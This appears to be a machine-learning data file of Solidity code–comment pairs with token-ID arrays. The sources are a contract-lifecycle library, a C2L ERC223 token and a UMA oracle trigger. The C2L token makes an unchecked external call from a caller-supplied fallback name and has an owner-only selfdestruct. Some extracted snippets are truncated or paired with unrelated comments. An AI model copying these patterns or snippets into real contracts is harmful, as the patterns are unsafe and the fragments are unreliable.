0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3613,
2626,
1435,
8843,
429,
1071,
288,
203,
3639,
657,
10050,
1359,
56,
6388,
2502,
6666,
273,
2763,
295,
1359,
56,
581,
414,
63,
3576,
18,
15330,
15533,
203,
203,
3639,
2583,
12,
5,
10061,
18,
70,
10041,
1769,
203,
203,
3639,
2583,
12,
3576,
18,
1132,
422,
12822,
81,
5077,
12,
3576,
18,
15330,
10019,
203,
203,
3639,
6666,
18,
2722,
6032,
273,
2037,
31,
203,
3639,
6666,
18,
5086,
1556,
273,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
// Copyright © 2017, 2018 Weald Technology Trading Limited
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import "../auth/Permissioned.sol";
/**
* @title Managed
* Managed provides full lifecycle management for contracts. A managed
* contract provides a number of benefits. The primary one is reducing
* the number of failed transactions by providing information about the
* state of the contract prior to sending transactions. This cuts down
* on unnecessary network operations as well as reducing funds lost to
* transactions that will not complete successfully.
*
* The managed contract also allows contracts to be superceded by new
* versions in a way that gives end users the chance to find out how to
* access the new version of the contract, leading to easier maintenance.
*
* The lifecycle of a managed contract is a simple state machine. The
* possible states are:
* - deployed: contract has been deployed but is inoperational. No
* transactions should be made against this contract.
* - active: contract is running normally. Transactions can be made
* normally against this contract.
* - paused: contract has paused operations. Transactions sent to
* this contract will be rejected. Use `pausedUntil()` to
* obtain the time at which the contract is expected to be
* unpaused.
* - upgraded: contract has been upgraded. No transactions should be
* made against this contract.
* Use `supercededBy()` to obtain the address of the
* contract that should be used instead (if any)
* - retired: contract is no longer in operation. No transactions
* should be made against this contract.
* Use `supercededBy()` to obtain the address of the
* contract that should be used instead (if any)
*
* Use of the contract is through two features: modifiers and functions.
* There are four modifiers available: ifInState(), ifInEitherState(),
* ifNotInState() and ifNotInEitherState(). Every function of a managed
* contract, including constrant functions, should have one or more of
* these modifiers.
*
* Functions are used to move the contract from one managed state to
* another. Most of the functions are self-explanatory, but the
* upgrade functions are worth looking at more closely. Upgrading
* consists of three steps: pre-upgrade, upgrade and post-upgrade.
*
* The purpose of the pre-upgrade is to set the superceding contract up
* so that it has the same abilities as the current contract. This
* most commonly involves setting up permissions on subsidiary contracts.
*
* The purpose of the upgrade is to stop the operation of the current
* contract. It will set the state of the contract to 'upgraded' to
* allow the contract to alter which functions will work. It is
* expected that an upgraded contract will refuse to operate after this
* point.
*
* Post-upgrade has two possibilities: commit the upgrade or revert it.
* The usual path will be to commit the upgrade, at which point the
* contract enters the 'retired' state and should do nothing other than
* inform requesting contracts of the state and the address of the
* superceding contract.
*
* The second possibility is that the upgrade has given an undesired
* result and needs to be reverted. Reverting the upgrade returns the
* contract to the active state and removes any permissions granted to
* the was-superceding contract.
*
* For each of the upgrade functions it is expected that implementing
* contracts will have their own versions, in which case it is
* important to remember that they should remember to call the super
* functions.
*
* Changing the state of the contract requires the caller to have the
* PERM_MANAGE_LIFECYCLE permission.
*
* State of this contract: stable; development complete but the code is
* unaudited. and may contain bugs and/or security holes. Use at your own
* risk.
*
* @author Jim McDonald
* @notice If you use this contract please consider donating some Ether or
* some of your ERC-20 token to wsl.wealdtech.eth to support continued
* development of these and future contracts
*/
contract Managed is Permissioned {
// The possible states of a managed contract
enum State {
Deployed,
Active,
Paused,
Upgraded,
Retired
}
// The version of the contract
uint256 public version;
// The current state of the contract
State public currentState;
// The time at which a paused contract is expected to be available again
uint256 public pausedUntil;
// The address of the contract that has superceded this contract
address public supercededBy;
// Event emitted whenever the contract's state changes
event StateChange(State state);
event PausedUntil(uint256 until);
event SupercededBy(address by);
// Permissions
bytes32 internal constant PERM_MANAGE_LIFECYCLE = keccak256("managed: manage lifecycle");
// Modifiers
/**
* @dev allow actions only if the contract is in a given state
*/
modifier ifInState(State _state) {
require(currentState == _state);
_;
}
/**
* @dev allow actions only if the contract is in either of two given states
*/
modifier ifInEitherState(State _state1, State _state2) {
require(currentState == _state1 || currentState == _state2);
_;
}
/**
* @dev allow actions only if the contract is not in a given state
*/
modifier ifNotInState(State _state) {
require(currentState != _state);
_;
}
/**
* @dev allow actions only if the contract is not in either of two given states
*/
modifier ifNotInEitherState(State _state1, State _state2) {
require(currentState != _state1 && currentState != _state2);
_;
}
/**
* @dev Managed constructor. Set the state to deployed.
* @param _version Version of this contract.
*/
constructor(uint256 _version) public {
version = _version;
currentState = State.Deployed;
}
/**
* @dev Move contract from the 'testing' state to the 'active' state
*/
function activate() public ifPermitted(msg.sender, PERM_MANAGE_LIFECYCLE) ifInState(State.Deployed) {
currentState = State.Active;
emit StateChange(State.Active);
}
/**
* @dev Move contract from the 'active' state to the 'paused' state
* @param _pausedUntil the expected time at which the contract will be
* unpaused.
*/
function pause(uint256 _pausedUntil) public ifPermitted(msg.sender, PERM_MANAGE_LIFECYCLE) ifInState(State.Active) {
currentState = State.Paused;
pausedUntil = _pausedUntil;
emit StateChange(State.Paused);
emit PausedUntil(pausedUntil);
}
/**
* @dev Update the expected time at which the contract will be unpaused
* @param _pausedUntil the expected time at which the contract will be
* unpaused.
*/
function setPausedUntil(uint256 _pausedUntil) public ifPermitted(msg.sender, PERM_MANAGE_LIFECYCLE) ifInState(State.Paused) {
require(_pausedUntil > block.timestamp, "cannot pause to the past");
pausedUntil = _pausedUntil;
emit PausedUntil(pausedUntil);
}
/**
* @dev Move contract from the 'paused' state to the 'active' state
*/
function unpause() public ifPermitted(msg.sender, PERM_MANAGE_LIFECYCLE) ifInState(State.Paused) {
currentState = State.Active;
pausedUntil = 0;
emit StateChange(State.Active);
}
/**
* @dev Move contract from the 'active' state to the 'retired' state
*/
function retire() public ifPermitted(msg.sender, PERM_MANAGE_LIFECYCLE) ifInState(State.Active) {
currentState = State.Retired;
emit StateChange(State.Retired);
}
/**
* @dev Carry out procedures prior to upgrading.
* This carries out preparation work before an upgrade takes place.
* @param _supercededBy the address of the contract that will supercede
* this one.
*/
function preUpgrade(address _supercededBy) public ifPermitted(msg.sender, PERM_MANAGE_LIFECYCLE) ifInState(State.Active) {
// Retain the address of the new contract
supercededBy = _supercededBy;
}
/**
* @dev Upgrade.
* This carries out the upgrade to the new contract.
*/
function upgrade() public ifPermitted(msg.sender, PERM_MANAGE_LIFECYCLE) ifInState(State.Active) {
require(supercededBy != address(0), "no superceded address");
// Mark this contract as upgraded
currentState = State.Upgraded;
emit StateChange(State.Upgraded);
emit SupercededBy(supercededBy);
}
/**
* @dev commitUpgrade.
* This finalises the upgrade; after this it cannot be reverted.
*/
function commitUpgrade() public ifPermitted(msg.sender, PERM_MANAGE_LIFECYCLE) ifInState(State.Upgraded) {
// Mark this contract as retired
currentState = State.Retired;
emit StateChange(State.Retired);
}
/**
* @dev Revert an upgrade
* This should only be called after 'upgrade'
*/
function revertUpgrade() public ifPermitted(msg.sender, PERM_MANAGE_LIFECYCLE) ifInState(State.Upgraded) {
currentState = State.Active;
supercededBy = address(0);
emit StateChange(State.Active);
}
}
| * @dev allow actions only if the contract is in either of two given states/ | modifier ifInEitherState(State _state1, State _state2) {
require(currentState == _state1 || currentState == _state2);
_;
}
| 15,883,888 | [
1,
5965,
4209,
1338,
309,
326,
6835,
353,
316,
3344,
434,
2795,
864,
5493,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
309,
382,
26091,
1119,
12,
1119,
389,
2019,
21,
16,
3287,
389,
2019,
22,
13,
288,
203,
3639,
2583,
12,
2972,
1119,
422,
389,
2019,
21,
747,
17773,
422,
389,
2019,
22,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
uint constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
Contract to handle all behavior related to ownership of contracts
-handles tracking current owner and transferring ownership to new owners
*/
contract Owned {
address public owner;
address private newOwner;
event OwnershipTransferred(address indexed_from, address indexed_to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0); //reset newOwner to 0/null
}
}
/*
Interface for being ERC223 compliant
-ERC223 is an industry standard for smart contracts
*/
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
/*
* Contract that is working with ERC223 tokens as a receiver for contract transfers
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/*
@author Nicholas Tuley
@desc Contract for the C2L token that carries out all token-specific behaviors for the C2L token
*/
contract C2L is ERC223, Owned {
//constants
uint internal constant INITIAL_COIN_BALANCE = 21000000; //starting balance of 21 million coins
//variables
string public name = "C2L"; //name of currency
string public symbol = "C2L";
uint8 public decimals = 0;
mapping(address => bool) beingEdited; //mapping to prevent multiple edits of the same account occuring at the same time (reentrancy)
uint public totalCoinSupply = INITIAL_COIN_BALANCE; //number of this coin in active existence
mapping(address => uint) internal balances; //balances of users with this coin
mapping(address => mapping(address => uint)) internal allowed; //map holding how much each user is allowed to transfer out of other addresses
address[] addressLUT;
//C2L contract constructor
function C2L() public {
totalCoinSupply = INITIAL_COIN_BALANCE;
balances[owner] = totalCoinSupply;
updateAddresses(owner);
}
//getter methods for basic contract info
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
/*
@return the total supply of this coin
*/
function totalSupply() public view returns (uint256 _supply) {
return totalCoinSupply;
}
//toggle beingEdited status of this account
function setEditedTrue(address _subject) private {
beingEdited[_subject] = true;
}
function setEditedFalse(address _subject) private {
beingEdited[_subject] = false;
}
/*
get the balance of a given user
@param tokenOwner the address of the user account being queried
@return the balance of the given account
*/
function balanceOf(address who) public view returns (uint) {
return balances[who];
}
/*
Check if the given address is a contract
*/
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
/*
owner mints new coins
@param amount The number of coins to mint
@condition
-the sender of this message must be the owner/minter/creator of this contract
*/
function mint(uint amount) public onlyOwner {
require(beingEdited[owner] != true);
setEditedTrue(owner);
totalCoinSupply = SafeMath.add(totalCoinSupply, amount);
balances[owner] = SafeMath.add(balances[owner], amount);
setEditedFalse(owner);
}
/*
transfer tokens to a user from the msg sender
@param _to The address of the user coins are being sent to
@param _value The number of coins to send
@param _data The msg data for this transfer
@param _custom_fallback A custom fallback function for this transfer
@conditions:
-coin sender must have enough coins to carry out transfer
-the balances of the sender and receiver of the tokens must not be being edited by another transfer at the same time
@return True if execution of transfer is successful, False otherwise
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
if(isContract(_to)) {
require(beingEdited[_to] != true && beingEdited[msg.sender] != true);
//make sure the sender has enough coins to transfer
require (balances[msg.sender] >= _value);
setEditedTrue(_to);
setEditedTrue(msg.sender);
//transfer the coins
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data); //log the transfer
setEditedFalse(_to);
setEditedFalse(msg.sender);
updateAddresses(_to);
updateAddresses(msg.sender);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
/*
Carry out transfer of tokens between accounts
@param _to The address of the user coins are being sent to
@param _value The number of coins to send
@param _data The msg data for this transfer
@conditions:
-coin sender must have enough coins to carry out transfer
-the balances of the sender and receiver of the tokens must not be being edited by another transfer at the same time
@return True if execution of transfer is successful, False otherwise
*/
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
/*
Backwards compatible transfer function to satisfy ERC20
*/
function transfer(address _to, uint _value) public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//transfer function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(beingEdited[_to] != true && beingEdited[msg.sender] != true);
require (balanceOf(msg.sender) >= _value);
setEditedTrue(_to);
setEditedTrue(msg.sender);
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
emit Transfer(msg.sender, _to, _value, _data);
setEditedFalse(_to);
setEditedFalse(msg.sender);
updateAddresses(_to);
updateAddresses(msg.sender);
return true;
}
//transfer function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(beingEdited[_to] != true && beingEdited[msg.sender] != true);
require (balanceOf(msg.sender) >= _value);
setEditedTrue(_to);
setEditedTrue(msg.sender);
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
setEditedFalse(_to);
setEditedFalse(msg.sender);
updateAddresses(_to);
updateAddresses(msg.sender);
return true;
}
/*
update the addressLUT list of addresses by checking if the address is in the list already, and if not, add the address to the list
@param _lookup The address to check if it is in the list
*/
function updateAddresses(address _lookup) private {
for(uint i = 0; i < addressLUT.length; i++) {
if(addressLUT[i] == _lookup) return;
}
addressLUT.push(_lookup);
}
//default, fallback function
function () public payable {
}
//self-destruct function for this contract
function killCoin() public onlyOwner {
selfdestruct(owner);
}
} | /retrieve the size of the code on target address, this needs assembly | function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
@param amount The number of coins to mint
@condition
-the sender of this message must be the owner/minter/creator of this contract
| 12,171,831 | [
1,
19,
17466,
326,
963,
434,
326,
981,
603,
1018,
1758,
16,
333,
4260,
19931,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
353,
8924,
12,
2867,
389,
4793,
13,
3238,
1476,
1135,
261,
6430,
353,
67,
16351,
13,
288,
203,
565,
2254,
769,
31,
203,
565,
19931,
288,
203,
1850,
769,
519,
1110,
7000,
554,
24899,
4793,
13,
203,
565,
289,
203,
565,
327,
261,
2469,
34,
20,
1769,
203,
225,
289,
203,
203,
565,
632,
891,
3844,
1021,
1300,
434,
276,
9896,
358,
312,
474,
203,
565,
632,
4175,
203,
1377,
300,
5787,
5793,
434,
333,
883,
1297,
506,
326,
3410,
19,
1154,
387,
19,
20394,
434,
333,
6835,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/10/0xa48666D91Ac494A3CCA96A3A4357d998d8619387/sources/src/UMATrigger.sol | @notice UMA callback for settlement. This code is run when the protocol has confirmed an answer to the query. @dev This callback is kept intentionally lean, as we don't want to risk reverting and blocking settlement. @param _identifier price identifier being requested. @param _timestamp timestamp of the original query request. @param _ancillaryData ancillary data of the original query request. @param _answer the oracle's answer to the query. See `priceProposed` for why we authorize callers in this way. If the answer was not affirmative, i.e. "Yes, the protocol was hacked", the trigger should return to the ACTIVE state. And we need to resubmit our query so that we are informed if the event we care about happens in the future. | function priceSettled(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
int256 _answer
) external {
OptimisticOracleV2Interface _oracle = getOracle();
if (
msg.sender != address(_oracle) ||
_timestamp != requestTimestamp ||
keccak256(_ancillaryData) != keccak256(bytes(query)) ||
_identifier != queryIdentifier
) revert Unauthorized();
if (_answer == AFFIRMATIVE_ANSWER) {
shouldTrigger = true;
_updateTriggerState(CState.ACTIVE);
_submitRequestToOracle(_oracle);
}
}
| 3,781,925 | [
1,
2799,
37,
1348,
364,
26319,
806,
18,
1220,
981,
353,
1086,
1347,
326,
1771,
711,
19979,
392,
5803,
358,
326,
843,
18,
225,
1220,
1348,
353,
16555,
509,
22918,
884,
304,
16,
487,
732,
2727,
1404,
2545,
358,
18404,
15226,
310,
471,
9445,
26319,
806,
18,
225,
389,
5644,
6205,
2756,
3832,
3764,
18,
225,
389,
5508,
2858,
434,
326,
2282,
843,
590,
18,
225,
389,
19292,
737,
814,
751,
392,
71,
737,
814,
501,
434,
326,
2282,
843,
590,
18,
225,
389,
13490,
326,
20865,
1807,
5803,
358,
326,
843,
18,
2164,
1375,
8694,
626,
7423,
68,
364,
11598,
732,
12229,
19932,
316,
333,
4031,
18,
971,
326,
5803,
1703,
486,
7103,
3985,
1535,
16,
277,
18,
73,
18,
315,
22352,
16,
326,
1771,
1703,
11769,
329,
3113,
326,
3080,
1410,
327,
358,
326,
21135,
919,
18,
7835,
732,
1608,
358,
400,
373,
1938,
3134,
843,
1427,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
225,
445,
6205,
694,
88,
1259,
12,
203,
565,
1731,
1578,
389,
5644,
16,
203,
565,
2254,
5034,
389,
5508,
16,
203,
565,
1731,
3778,
389,
19292,
737,
814,
751,
16,
203,
565,
509,
5034,
389,
13490,
203,
225,
262,
3903,
288,
203,
565,
19615,
5846,
23601,
58,
22,
1358,
389,
280,
16066,
273,
17971,
16873,
5621,
203,
203,
565,
309,
261,
203,
1377,
1234,
18,
15330,
480,
1758,
24899,
280,
16066,
13,
747,
203,
1377,
389,
5508,
480,
590,
4921,
747,
203,
1377,
417,
24410,
581,
5034,
24899,
19292,
737,
814,
751,
13,
480,
417,
24410,
581,
5034,
12,
3890,
12,
2271,
3719,
747,
203,
1377,
389,
5644,
480,
843,
3004,
203,
565,
262,
15226,
15799,
5621,
203,
203,
565,
309,
261,
67,
13490,
422,
10888,
31324,
12992,
67,
11607,
18839,
13,
288,
203,
1377,
1410,
6518,
273,
638,
31,
203,
1377,
389,
2725,
6518,
1119,
12,
39,
1119,
18,
13301,
1769,
203,
1377,
